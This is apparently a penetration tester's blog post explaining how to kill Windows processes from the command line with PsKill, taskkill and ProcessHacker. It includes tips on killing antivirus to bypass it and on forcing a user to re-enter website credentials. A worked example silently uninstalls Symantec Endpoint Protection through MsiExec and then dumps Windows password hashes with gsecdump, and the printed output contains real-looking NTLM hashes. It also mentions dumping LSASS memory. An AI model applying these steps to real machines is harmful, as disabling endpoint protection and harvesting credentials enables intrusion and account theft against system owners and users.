Since 2003 a large part of my workday has been devoted solely to hacking systems. Over this time I've collected a number of penetration testing tips and plan to write a number of posts to share them. This is the second post in the "Wendel's Small Hacking Tricks" series and will explain different ways to kill applications and processes from the Microsoft Windows command line interface. The first post in the series discussed methods of hacking Microsoft SQL Server.
PsKill is probably the oldest and most common method of killing processes via Microsoft Windows Command Line. Mark Russinovich from Sysinternals developed the tool a long time ago, and now both Mark and the tool are part of Microsoft. The very first step is to execute the tool with the "-accepteula" option so you are actually able to use it.
Now we are good to kill any processes by passing the PID number as an argument to PsKill.
Replace "$PID-Number" with your target Process ID. If you want to list the available processes that can be killed you may use "pslist.exe" command that has been developed by the same person. Don't forget to use the "-accepteula" first.
Modern versions of Microsoft Windows come with the built-in "taskkill" command, which makes killing a process very simple:
Replace "$PID-Number" with your target Process ID. If you want to kill a process by name you should execute:
You can also replace "$Process-Name" with a process name such as iexplore.exe to close Internet Explorer and force current user to open it again and insert their credentials on a website that you are targeting or monitoring.
You can also use a nifty tool called ProcessHacker to kill and suspend processes (see http://processhacker.sourceforge.net). I often use it to kill or suspend the Antivirus process and bypass it. :)
As a penetration tester, I often need to find a way to bypass AntiVirus, kill Antivirus is one of the methods that may or may not work, so, before waste a lot of time trying to kill your target Antivirus just check for common methods provided to disable and uninstall it.
Just as a bonus I will show how an Antivirus prevented me from dump password hashes even with SYSTEM privilege on a Windows 7.
C:\Windows\Temp>wce32.exe -w
WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.
ERROR: Cannot find dependencies
C:\Windows\Temp>
C:\Windows\Temp>gsecdump.exe -a
compat: error: failed to create child process
C:\Windows\Temp>
I tried to extract password hashes from this box and it failed. Checking process list I found that SEP (Symantec Endpoint Protection) is installed and it's likely to be the issue.
Just uninstall the product as described on the online documentation.
First, list the product code:
C:\Windows\Temp>reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ /s
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C2103AF2-E66C-446B-9791-9207840EC821}
AuthorizedCDFPrefix REG_SZ
Comments REG_SZ
Contact REG_SZ
DisplayVersion REG_SZ 12.1.2015.2015
HelpLink REG_SZ
HelpTelephone REG_SZ
InstallDate REG_SZ 20130409
InstallLocation REG_SZ C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\12.1.2015.2015.105\
InstallSource REG_SZ C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\12.1.671.4971.105\Bin64\SmcLU\Setup\
ModifyPath REG_EXPAND_SZ MsiExec.exe /I{C2103AF2-E66C-446B-9791-9207840EC821}
Publisher REG_SZ Symantec Corporation
Readme REG_SZ
Size REG_SZ
EstimatedSize REG_DWORD 0x9e186
SystemComponent REG_DWORD 0x0
UninstallString REG_EXPAND_SZ MsiExec.exe /I{C2103AF2-E66C-446B-9791-9207840EC821}
URLInfoAbout REG_SZ
URLUpdateInfo REG_SZ
VersionMajor REG_DWORD 0xc
VersionMinor REG_DWORD 0x1
WindowsInstaller REG_DWORD 0x1
Version REG_DWORD 0xc0107df
Language REG_DWORD 0x409
DisplayName REG_SZ Symantec Endpoint Protection
DisplayIcon REG_SZ C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\12.1.2015.2015.105\Bin\SymCorpUI.exe
With the product code, let's call MsiExec.exe to uninstall it. This tool is a Microsoft application that handles installation, modification and removal on Windows Installer.
C:\Windows\Temp>MsiExec.exe /norestart /q/x{C2103AF2-E66C-446B-9791-9207840EC821} REMOVE=ALL /lv!* c:\uninstallSPL.txt
The command above tries to uninstall SEP by its product code from command-line and store the results at a file. Wait a few seconds and keep checking for the created file.
C:\>dir c:\*SPL*.*
Volume in drive C has no label.
Volume Serial Number is D0CD-97E0
Directory of c:\
03/21/2014 12:11 PM 5,378,910 uninstallSPL.txt
1 File(s) 5,378,910 bytes
0 Dir(s) 53,107,503,104 bytes free
C:\>
Looking at the log a few minutes later I confirmed that SEP was uninstalled and now dump password hashes worked.
C:\Windows\Temp>gsecdump.exe -a
SPL\Whenrique::a4edc6b5710af08e56037f5c70631236:b9a3169463d55ef2f3babb21494f0c40:::
Administrator:500:abe3c93585880c0c01d3493835b704b3:aa550c63ccf345002e453536f73d52c0:::C:\Windows\Temp>
There are cases where a password is required, but you may also try disabling it from registry, and so on. I just used the dump password hashes as a example, there are ways easier to do it, for example dump LSASS process from memory and recover the credentials offline, etc.
I hope you have enjoyed these simple, yet very useful tips.
Stay tuned for more Wendel's Small Hacking Tricks.